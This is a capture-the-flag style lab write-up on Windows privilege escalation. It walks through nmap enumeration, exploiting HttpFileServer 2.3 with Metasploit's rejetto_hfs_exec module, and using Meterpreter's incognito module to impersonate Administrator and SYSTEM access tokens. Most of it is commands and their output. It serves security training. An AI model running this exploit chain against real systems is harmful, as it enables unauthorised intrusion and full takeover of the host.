accesstoken

Lab 1

🔬 Privilege Escalation: Impersonate

• Target IP: 10.4.22.75

• Access Token impersonation

Enumeration

nmap 10.4.22.75

PORT      STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

• Determine the version information of the web server on port 80

nmap -sV -p 80 10.4.22.75

80/tcp open  http    HttpFileServer httpd 2.3

• Without using nmap, the http server version can be checked in a browser by opening the link

  • http://10.4.22.75/

Exploitation

searchsploit hfs
msfconsole -q

• Set the target IP as GLOBAL RHOSTS variable

setg RHOSTS 10.4.22.75

search rejetto
use exploit/windows/http/rejetto_hfs_exec
options
exploit

sysinfo
    Computer        : ATTACKDEFENSE
    OS              : Windows 2016+ (10.0 Build 17763).
    Architecture    : x64
    System Language : en_US
    Meterpreter     : x86/windows

• Migrate current x86 meterpreter session to a x64 process

pgrep explorer
migrate 3640
    [*] Migrating from 1692 to 3640...
    [-] core_migrate: Operation failed: Access is denied.

getuid
	Server username: NT AUTHORITY\LOCAL SERVICE
# LOCAL SERVICE account is by default unprivileged

getprivs
    SeAssignPrimaryTokenPrivilege
    SeAuditPrivilege
    SeChangeNotifyPrivilege
    SeCreateGlobalPrivilege
    SeImpersonatePrivilege
    SeIncreaseQuotaPrivilege
    SeIncreaseWorkingSetPrivilege
    SeSystemtimePrivilege
    SeTimeZonePrivilege

• This meterpreter session (with this particular user account) can be utilized to impersonate other access tokens available.

Privilege Escalation

Access Token Impersonation

load incognito
# if the session dies, run the exploit again

list_tokens -u

    Delegation Tokens Available # Interactive Logon
    ========================================
    ATTACKDEFENSE\Administrator
    NT AUTHORITY\LOCAL SERVICE

    Impersonation Tokens Available # Non-Interactive Logon
    ========================================
    No tokens available

incognito Meterpreter module

• ATTACKDEFENSE\Administrator account access token would provide elevated privileges

impersonate_token "ATTACKDEFENSE\Administrator"

getuid
	Server username: ATTACKDEFENSE\Administrator
getprivs
	[-] stdapi_sys_config_getprivs: Operation failed: Access is denied.
pgrep explorer
migrate 3640

getprivs

Access Token Impersonation

• Listing tokens with this account, there can be additional available tokens

list_tokens -u

    Delegation Tokens Available
    ========================================
    ATTACKDEFENSE\Administrator
    NT AUTHORITY\LOCAL SERVICE
    NT AUTHORITY\SYSTEM
    Window Manager\DWM-1

    Impersonation Tokens Available
    ========================================
    Font Driver Host\UMFD-0
    Font Driver Host\UMFD-1
    NT AUTHORITY\NETWORK SERVICE

• NT AUTHORITY\SYSTEM can be impersonated, getting the privileges associated with its access token

impersonate_token "NT AUTHORITY\SYSTEM"

• In the case of no Delegation or Impersonation tokens found, the Potato Attack can be used to get or generate a NT AUTHORITY/SYSTEM access token, impersonating it and obtain privileges associated to it.

• Get the flag of the lab:

cd C:\\Users\\Administrator\\Desktop\\

Reveal Flag: 🚩

x28c832a39730b7d46d6c38f1ea18e12

---